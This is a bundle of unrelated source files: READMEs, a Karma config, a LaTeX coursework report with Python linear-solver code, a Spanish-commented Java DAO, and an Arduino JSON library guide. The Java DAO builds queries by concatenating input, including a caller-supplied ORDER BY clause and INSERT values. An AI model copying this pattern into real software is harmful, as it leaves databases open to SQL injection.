And then execute:

```bash
$ php composer.phar install
```

## Contributing

1. Fork it
2. Create your feature branch (`git checkout -b my-new-feature`)
3. Commit your changes (`git commit -am 'Add some feature'`)
4. Push to the branch (`git push origin my-new-feature`)
5. Create new Pull Request

## Copyright

Copyright (C) 2013 Dai Akatsuka, released under the MIT License.


text:
exercism-attempts
=================

My attempts at the questions from exercism.io


text:
// Karma configuration

module.exports = function(config) {
  config.set({

    // base path that will be used to resolve all patterns (eg. files, exclude)
    basePath: '',

    // frameworks to use
    // available frameworks: https://npmjs.org/browse/keyword/karma-adapter
    frameworks: ['jasmine'],

    // list of files / patterns to load in the browser
    files: [
      // gulp-inject:mainBowerFiles
        "src/bower_components/angular/angular.js",
        "src/bower_components/jquery/dist/jquery.js",
        "src/bower_components/angular-route/angular-route.js",
        "src/bower_components/angular-mocks/angular-mocks.js",
        "src/bower_components/bootstrap/dist/js/bootstrap.js",
      // gulp-inject:mainBowerFiles:end
			'src/module/module.js',
			'src/module/**/*.js',
			'src/app/**/*.js',
			'src/app/app.js',
			'src/.tmp/templates.js',
			'src/.tmp/jemplates.js'
    ],

    // list of files to exclude
    exclude: [
      '**/*.swp'
    ],

    // preprocess matching files before serving them to the browser
    // available preprocessors: https://npmjs.org/browse/keyword/karma-preprocessor
    preprocessors: {

    },

    // test results reporter to use
    // possible values: 'dots', 'progress'
    // available reporters: https://npmjs.org/browse/keyword/karma-reporter
    reporters: ['progress'],

    // web server port
    port: 9876,

    // enable / disable colors in the output (reporters and logs)
    colors: true,

    // level of logging
    // possible values: config.LOG_DISABLE || config.LOG_ERROR || config.LOG_WARN || config.LOG_INFO || config.LOG_DEBUG
    logLevel: config.LOG_INFO,

    // enable / disable watching file and executing tests whenever any file changes
    autoWatch: true,

    // start these browsers
    // available browser launchers: https://npmjs.org/browse/keyword/karma-launcher
    browsers: ['PhantomJS'],

    // Continuous Integration mode
    // if true, Karma captures browsers, runs the tests and exits
    singleRun: false
  });
};


text:
% This is a model template for the solutions in computational science. You can find a very useful documentation for LaTeX in Finnish at ftp://ftp.funet.fi/pub/TeX/CTAN/info/lshort/finnish/ or in English at ftp://ftp.funet.fi/pub/TeX/CTAN/info/lshort/english/. The section List of mathematical symbols in Chapter 3 is especially useful for the typesetting of mathematical formulas.

% Compile the document to PDF by command 'pdflatex model.tex' in the terminal. The command must be run twice for the references in the text to be correct.

\documentclass[a4paper,11pt]{article}
\usepackage[utf8]{inputenc}
% This includes letters such as � and �
\usepackage[T1]{fontenc}
% Use here 'Finnish' for Finnish hyphenation. You may have to compile the code twice after the change.
\usepackage[english]{babel}
\usepackage{graphicx}
% Some math stuff
\usepackage{amsmath,amsfonts,amssymb,amsbsy,commath,booktabs,hyperref}
% This is just to include the urls
\usepackage{hyperref}
\usepackage[margin=2cm]{geometry}

\setlength{\parindent}{0mm}
\setlength{\parskip}{1.0\baselineskip}

\usepackage{listings}
\usepackage{color}
\usepackage{pdfpages}

\definecolor{dkgreen}{rgb}{0,0.6,0}
\definecolor{gray}{rgb}{0.5,0.5,0.5}
\definecolor{mauve}{rgb}{0.58,0,0.82}

\lstset{frame=tb,
	language=Python,
	aboveskip=3mm,
	belowskip=3mm,
	showstringspaces=false,
	columns=flexible,
	basicstyle={\tiny\ttfamily},
	numbers=none,
	numberstyle=\tiny\color{gray},
	keywordstyle=\color{blue},
	commentstyle=\color{dkgreen},
	stringstyle=\color{mauve},
	breaklines=true,
	breakatwhitespace=true,
	tabsize=4
}

\begin{document}

\title{Becs-114.1100 Computational Science -- exercise round 5} % Replace the exercise round number
\author{Kunal Ghosh, 546247} % Replace with your name and student number
\maketitle
\section{Solution to Question 2}
\subsection{Solving linear equations using Scaled Pivoting. Weights from corresponding hilbert matrices}\label{prob2a}
\begin{figure}[ht]
	\center
	\includegraphics[scale=0.75]{figure_1.png}
    \caption{Plot showing that as n increases the RMS error of the solution of a system of linear equations, with the hilbert matrix values as its coefficients, increases.The red dots show the actual error values}
	\label{fig:err1}
\end{figure}

\begin{table}[ht]
\centering
\label{my-label}
\begin{tabular}{|c|c|c|}
\hline
 \textbf{n}&\textbf{RMS Error}&\textbf{Condition Number}  \\ \hline
 2&0.73833521&15.0167409881  \\ \hline
 5&1.02602254&282901.77002 \\ \hline
 8&1.09505307&7657562245.89 \\ \hline
 12&1.16783884&5.89342127254e+15 \\ \hline
 15&2.11656192&1.74359790918e+17 \\ \hline
\end{tabular}
\caption{Table showing the values of n and the RMS error after solving the system of linear equations with \textbf{hilbert(n)} as the coefficients.}
\end{table}
The table of n and errors appears on page 4.
The corresponding python code can be found at \ref{code:problem2a}

\subsection{Solving system of linear equations with coefficients as hilbert(n) for n=3}
\includepdf[pages=-]{NewDoc1.pdf}
\clearpage
\section{Appendix A}\label{code:problem2a}
Python source code for \ref{prob2a}.
{\footnotesize
\begin{lstlisting}

from __future__ import division
from scipy.linalg import hilbert
import numpy as np
from pprint import pprint
import pylab as pl

def new_solve(A,b):
    A = np.asarray(A, np.float)
    b = np.asarray(b, np.float)
    # Create the scale vector max(abs(ri)) of each row ri in A
    S = np.zeros(A.shape[0], np.float)
    S = np.max(np.abs(A), axis=1)
    # Create the Index vector
    I = np.asarray(range(np.max(S.shape)))
    # iterate over as many times as there are rows (r = 0 to rmax)
    for idx in range(len(I)):
        r = I[idx]
        # get the values from the idx(th) column
        rows_we_want = I[idx:]
        corresponding_column_values = A[rows_we_want, idx]
        # divide the column values by their corresponding scale and get the index of the row with max value
        div_val = np.true_divide(np.abs(corresponding_column_values),S[rows_we_want])
        I_idx = np.argmax(div_val)
        # because the above index is in I, the actual row is
        act_idx = I[idx:][I_idx]
        max_row = A[act_idx,:]
        # swap current Idx with max_row's idx
        # swap the 0th idx and the new max in the sub array of I
        I[idx:][0], I[idx:][I_idx] = I[idx:][I_idx], I[idx:][0]
        # iterate over remaining rows and update them
        for rem_rows in I[idx+1:]:
            # Get the appropriate multiple of the pivot row. to make the remaining row's idx column a zero
            multiplier = np.true_divide(A[rem_rows][idx],max_row[idx])
            A[rem_rows,idx:] -= max_row[idx:] * multiplier
            b[rem_rows] -= b[act_idx] * multiplier
    return I, A, b

def gauss(I, A, b):
    # returns the solutions to x
    x = np.zeros(I.shape)
    # because this is directly used in indexing and
    # max index of x would be len(x) -1
    len_x = len(x)-1
    # reverse I because we go in reverse I order.
    I = I[::-1]
    for count,row in enumerate(I):
        # get the row which we need to evaluate.
        weighted_sum_of_already_computed_x = 0
        for i in range(count):
            # if its the first value, we need to evaluate once.
            # for the second value, we need to evaluate twice and so on.
            col = len_x-i
            weighted_sum_of_already_computed_x += A[row, col] * x[col]
        # len(x)-count-1 because indices from 3 to 0 when len(x) = 4
        x[len_x-count] = (b[row] - weighted_sum_of_already_computed_x) / A[row,len_x-count]
    return x

def error(x,x_actual):
    diff = np.abs(x-x_actual)
    return np.sqrt(np.divide(np.sum(diff ** 2),x.shape))

if __name__ == '__main__':
    errs = []
    errors = []
    n_vals = [2,5,8,12,15]
    for n in n_vals:
        A = hilbert(n)
        b = np.sum(A,axis=1)
        I,A,b = new_solve(A,b)
        x = gauss(I,A,b)
        errors.append(error(x,b))
        print n,errors[-1]
    pl.plot(n_vals, errors,c='b')
    pl.grid()
    pl.scatter(n_vals, errors,c='r',marker="o")
    pl.xlabel("values of n")
    pl.ylabel("RMS error of partial pivot and actual solution of hilbert(n)")
    pl.show()

\end{lstlisting}
}
\end{document}


text:
package dao;

import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;

import vos.Zona;

public class DAOTablaZona {

	/**
	 * Arraylits de recursos que se usan para la ejecución de sentencias SQL
	 */
	private ArrayList<Object> recursos;

	/**
	 * Atributo que genera la conexión a la base de datos
	 */
	private Connection conn;

	/**
	 * Metodo constructor que crea DAOZona
	 * <b>post: </b> Crea la instancia del DAO e inicializa el Arraylist de recursos
	 */
	public DAOTablaZona() {
		recursos = new ArrayList<Object>();
	}

	/**
	 * Metodo que cierra todos los recursos que estan enel arreglo de recursos
	 * <b>post: </b> Todos los recurso del arreglo de recursos han sido cerrados
	 */
	public void cerrarRecursos() {
		for(Object ob : recursos){
			if(ob instanceof PreparedStatement)
				try {
					((PreparedStatement) ob).close();
				} catch (Exception ex) {
					ex.printStackTrace();
				}
		}
	}

	/**
	 * Metodo que inicializa la connection del DAO a la base de datos con la conexión que entra como parametro.
	 * @param con  - connection a la base de datos
	 */
	public void setConn(Connection con){
		this.conn = con;
	}

	/**
	 * Metodo que, usando la conexión a la base de datos, saca todos los videos de la base de datos
	 * <b>SQL Statement:</b> SELECT * FROM ZONA;
	 * @return Arraylist con los videos de la base de datos.
	 * @throws SQLException - Cualquier error que la base de datos arroje.
	 * @throws Exception - Cualquier error que no corresponda a la base de datos
	 */
	public ArrayList<Zona> darZonas() throws SQLException, Exception {
		ArrayList<Zona> zonas = new ArrayList<Zona>();

		String sql = "SELECT * FROM ZONA";

		PreparedStatement prepStmt = conn.prepareStatement(sql);
		recursos.add(prepStmt);
		ResultSet rs = prepStmt.executeQuery();

		while (rs.next()) {
			String nombre = rs.getString("NOMBRE");
			int capacidad = rs.getInt("CAPACIDAD");
			int abierto = rs.getInt("ABIERTO");
			int aptoDiscapacidad = rs.getInt("APTODISCAPACIDAD");
			String descripcionTecnica = rs.getString("DESCRIPCIONTECNICA");
			zonas.add(new Zona(nombre, capacidad, abierto, aptoDiscapacidad, descripcionTecnica));
		}
		return zonas;
	}

	public ArrayList<Zona> darZonasFiltro(String filtro) throws SQLException, Exception {
		ArrayList<Zona> zonas = new ArrayList<Zona>();

		String sql = "SELECT * FROM ZONA ORDER BY " + filtro;

		PreparedStatement prepStmt = conn.prepareStatement(sql);
		recursos.add(prepStmt);
		ResultSet rs = prepStmt.executeQuery();

		while (rs.next()) {
			String nombre = rs.getString("NOMBRE");
			int capacidad = rs.getInt("CAPACIDAD");
			int abierto = rs.getInt("ABIERTO");
			int aptoDiscapacidad = rs.getInt("APTODISCAPACIDAD");
			String descripcionTecnica = rs.getString("DESCRIPCIONTECNICA");
			zonas.add(new Zona(nombre, capacidad, abierto, aptoDiscapacidad, descripcionTecnica));
		}
		return zonas;
	}

	/**
	 * Metodo que busca el/los videos con el nombre que entra como parametro.
	 * @param name - Nombre de el/los videos a buscar
	 * @return ArrayList con los videos encontrados
	 * @throws SQLException - Cualquier error que la base de datos arroje.
	 * @throws Exception - Cualquier error que no corresponda a la base de datos
	 */
//	public ArrayList<Video> buscarVideosPorName(String name) throws SQLException, Exception {
//		ArrayList<Video> videos = new ArrayList<Video>();
//
//		String sql = "SELECT * FROM VIDEO WHERE NAME ='" + name + "'";
//
//		PreparedStatement prepStmt = conn.prepareStatement(sql);
//		recursos.add(prepStmt);
//		ResultSet rs = prepStmt.executeQuery();
//
//		while (rs.next()) {
//			String name2 = rs.getString("NAME");
//			Long id = rs.getLong("ID");
//			Integer duration = rs.getInt("DURATION");
//			videos.add(new Video(id, name2, duration));
//		}
//
//		return videos;
//	}

	/**
	 * Metodo que busca el video con el id que entra como parametro.
	 * @param name - Id de el video a buscar
	 * @return Video encontrado
	 * @throws SQLException - Cualquier error que la base de datos arroje.
	 * @throws Exception - Cualquier error que no corresponda a la base de datos
	 */
//	public Video buscarVideoPorId(Long id) throws SQLException, Exception
//	{
//		Video video = null;
//
//		String sql = "SELECT * FROM VIDEO WHERE ID =" + id;
//
//		PreparedStatement prepStmt = conn.prepareStatement(sql);
//		recursos.add(prepStmt);
//		ResultSet rs = prepStmt.executeQuery();
//
//		if(rs.next()) {
//			String name = rs.getString("NAME");
//			Long id2 = rs.getLong("ID");
//			Integer duration = rs.getInt("DURATION");
//			video = new Video(id2, name, duration);
//		}
//
//		return video;
//	}

	/**
	 * Metodo que agrega la zona que entra como parametro a la base de datos.
	 * @param zona - la zona a agregar. zona !=  null
	 * <b> post: </b> se ha agregado la zona a la base de datos en la transaction actual. pendiente que la zona master
	 * haga commit para que la zona baje  a la base de datos.
	 * @throws SQLException - Cualquier error que la base de datos arroje. No pudo agregar la zona a la base de datos
	 * @throws Exception - Cualquier error que no corresponda a la base de datos
	 */
	public void addZona(Zona zona) throws SQLException, Exception {

		String sql = "INSERT INTO ZONA VALUES ('";
		sql += zona.getNombre() + "',";
		sql += zona.getCapacidad() + ",";
		sql += zona.getAbierto() + ",";
		sql += zona.getAptoDiscapacidad() + ",'";
		sql += zona.getDescripcionTecnica()+ "')";

		PreparedStatement prepStmt = conn.prepareStatement(sql);
		recursos.add(prepStmt);
		prepStmt.executeQuery();

	}

	/**
	 * Metodo que actualiza el video que entra como parametro en la base de datos.
	 * @param video - el video a actualizar. video !=  null
	 * <b> post: </b> se ha actualizado el video en la base de datos en la transaction actual. pendiente que el video master
	 * haga commit para que los cambios bajen a la base de datos.
	 * @throws SQLException - Cualquier error que la base de datos arroje. No pudo actualizar el video.
	 * @throws Exception - Cualquier error que no corresponda a la base de datos
	 */
//	public void updateVideo(Video video) throws SQLException, Exception {
//
//		String sql = "UPDATE VIDEO SET ";
//		sql += "NAME='" + video.getName() + "',";
//		sql += "DURATION=" + video.getDuration();
//		sql += " WHERE ID = " + video.getId();
//
//
//		PreparedStatement prepStmt = conn.prepareStatement(sql);
//		recursos.add(prepStmt);
//		prepStmt.executeQuery();
//	}

	/**
	 * Metodo que elimina el video que entra como parametro en la base de datos.
	 * @param video - el video a borrar. video !=  null
	 * <b> post: </b> se ha borrado el video en la base de datos en la transaction actual. pendiente que el video master
	 * haga commit para que los cambios bajen a la base de datos.
	 * @throws SQLException - Cualquier error que la base de datos arroje. No pudo actualizar el video.
	 * @throws Exception - Cualquier error que no corresponda a la base de datos
	 */
//	public void deleteVideo(Video video) throws SQLException, Exception {
//
//		String sql = "DELETE FROM VIDEO";
//		sql += " WHERE ID = " + video.getId();
//
//		PreparedStatement prepStmt = conn.prepareStatement(sql);
//		recursos.add(prepStmt);
//		prepStmt.executeQuery();
//	}

}


text:
Arduino JSON library - Parser
=============================

This library is an thin C++ wrapper around the *jsmn* tokenizer: http://zserge.com/jsmn.html

It's design to be very lightweight, works without any allocation on the heap (no malloc) and supports nested objects.

It has been written with Arduino in mind, but it isn't linked to Arduino libraries so you can use this library in any other C++ project.

Features
--------

* Based on the well-proven [jsmn](http://zserge.com/jsmn.html) tokenizer
* Supports nested objects
* Elegant API, very easy to use
* Fixed memory allocation (no malloc)
* Small footprint
* MIT License

Example
-------

	JsonParser<32> parser;
    char json[] = "{\"sensor\":\"gps\",\"time\":1351824120,\"data\":[48.756080,2.302038]}";

    JsonObject root = parser.parse(json);

    char*  sensor    = root["sensor"];
    long   time      = root["time"];
    double latitude  = root["data"][0];
    double longitude = root["data"][1];

How to  use ?
-------------

### 1. Install the library

Download the library and extract it to:

    <your Arduino Sketch folder>/libraries/ArduinoJson

### 2. Import in your sketch

Just add the following lines at the top of your `.ino` file:

    #include <JsonParser.h>

    using namespace ArduinoJson::Parser;

> ##### Having a namespace conflict?
> To be able to use both `ArduinoJson::Generator` and `ArduinoJson::Parser` in the same file, you need to do one of the followings:
>
> * Put the `using` statements into different functions
> * `using namespace ArduinoJson`, then prefix the type names by `Generator::` or `Parser::`
> * Create aliases for the namespaces or the types (C++11 only)

### 3. Create a parser

To extract data from the JSON string, you need to create a `JsonParser`, and specify the number of token you allocate for the parser itself:

    JsonParser<32> parser;

> #### How to choose the number of tokens ?

> A token is an element of the JSON object: either a key, a value, an object or an array.
> As an example the `char json[]` on the top of this page contains 9 tokens (don't forget to count 1 for the whole object and 1 more for the array itself).

> The more tokens you allocate, the more complex the JSON can be, but also the more memory is occupied.
> Each token takes 8 bytes, so `sizeof(JsonParser<32>)` is 256 bytes which is quite big in an Arduino with only 2KB of RAM.
> Don't forget that you also have to store the JSON string in RAM and it's probably big.

> 32 tokens may seem small, but it's very decent for an 8-bit processor, you wouldn't get better results with other JSON libraries.

### 4. Extract data

To use this library, you need to know beforehand what is the type of data contained in the JSON string, which is very likely.

The root object has to be either an object (like `{"key":"value"}`) or an array (like `[1,2]`).

The nested objects can be either arrays, booleans, objects, numbers or strings.
If you need other type, you can get the string value and parse it yourself.

#### Object

Consider we have a `char json[]` containing to the following JSON string:

    {
        "sensor":"gps",
		"time":1351824120,
		"data":[48.756080,2.302038]
    }

In this case the string contains a JSON object, so you need to extract a `JsonObject`:

    JsonObject root = parser.parse(json);

To check if the parsing was successful, you must check:

    if (!root.success())
    {
        // Parsing fail: could be an invalid JSON, or too many tokens
    }

And then extract the member you need:

    char*  sensor    = root["sensor"];
    long   time      = root["time"];
    double latitude  = root["data"][0];
    double longitude = root["data"][1];

You can also iterate through the key-value pairs of the object:

    for (JsonObjectIterator i=root.begin(); i!=root.end(); ++i)
    {
      Serial.println(i.key());
      Serial.println((char*)i.value());
    }

#### Array

Consider we have a `char json[]` containing to the following JSON string:

    [
        [ 1.2, 3.4 ],
        [ 5.6, 7.8 ]
    ]

In this case the root object of the JSON string is an array, so you need to extract a `JsonArray`:

    JsonArray root = parser.parse(json);

To check if the parsing was successful, you must check:

    if (!root.success())
    {
        // Parsing fail: could be an invalid JSON, or too many tokens
    }

And then extract the content by its index in the array:

    double a = root[0][0];
	double b = root[0][1];
	double c = root[1][0];
	double d = root[1][1];

You can also iterate through the key-value pairs of the object:

    for (JsonArrayIterator i=array.begin(); i!=array.end(); ++i)
    {
      Serial.println((char*)*i);
    }

Common pitfalls
---------------

### 1. Not enough tokens

By design, the library has no way to tell you why `JsonParser::parse()` failed.

There are basically two reasons why they may fail:

1. the JSON string is invalid
2. the JSON string contains more tokens that the parser can store

So, if you are sure the JSON string is correct and you still can't parse it, you should slightly increase the number of token of the parser.

### 2. Not enough memory

You may go into unpredictable trouble if you allocate more memory than your processor really has.
It's a very common issue in embedded development.

To diagnose this, look at every big objects in you code and sum their size to check that they fit in RAM.

For example, don't do this:

    char json[1024];        // 1 KB
    JsonParser<64> parser;    // 512 B

because it may be too big for a processor with only 2 KB: you need free memory to store other variables and the call stack.

That is why an 8-bit processor is not able to parse long and complex JSON strings.

### 3. JsonParser not in memory

To reduce the memory consumption, `JsonValue`, `JsonArray` and `JsonObject` contains pointer to the token that are inside the `JsonParser`. This can only work if the `JsonParser` is still in memory.

For example, don't do this:

    JsonArray getArray(char* json)
    {
        JsonParser<16> parser;
        return parser.parseArray(parser);
    }

because the local variable `parser` will be *removed* from memory when the function `getArray()` returns, and the pointer inside `JsonArray` will point to an invalid location.

### 4. JSON string is altered

This will probably never be an issue, but you need to be aware of this feature.

When you pass a `char[]` to `JsonParser::parse()`, the content of the string will be altered to add `\0` at the end of the tokens.

This is because we want functions like `JsonArray::getString()` to return a null-terminating string without any memory allocation.

Memory usage
------------

Here are the size of the main classes of the library.

This table is for an 8-bit Arduino, types would be bigger on a 32-bit processor.

| Type         | Size in bytes |
| ------------ | ------------- |
| `Parser<N>`  | 4 + 8 x N     |
| `JsonArray`  | 4             |
| `JsonObject` | 4             |
| `JsonValue`  | 4             |

Code size
---------

The sizes have been obtained with Arduino IDE 1.0.5 for a Duemilanove.

### Minimum setup

| Function                             | Size |
| ------------------------------------ | ---- |
| `jsmn_parse()`                       | 962  |
| `JsonValue::operator[](char const*)` | 218  |
| `JsonParserBase::parse()`            | 116  |
| `JsonValue::operator[](int)`         | 108  |
| `strcmp()`                           | 18   |

### Additional space for integers

| Function                     | Size |
| ---------------------------- | ---- |
| `strtol()`                   | 606  |
| `JsonValue::operator long()` | 94   |

### Additional space for floating points

| Function                         | Size  |
| -------------------------------- | ----- |
| `strtod()`                       | 1369  |
| `JsonValue::operator double()`   | 82    |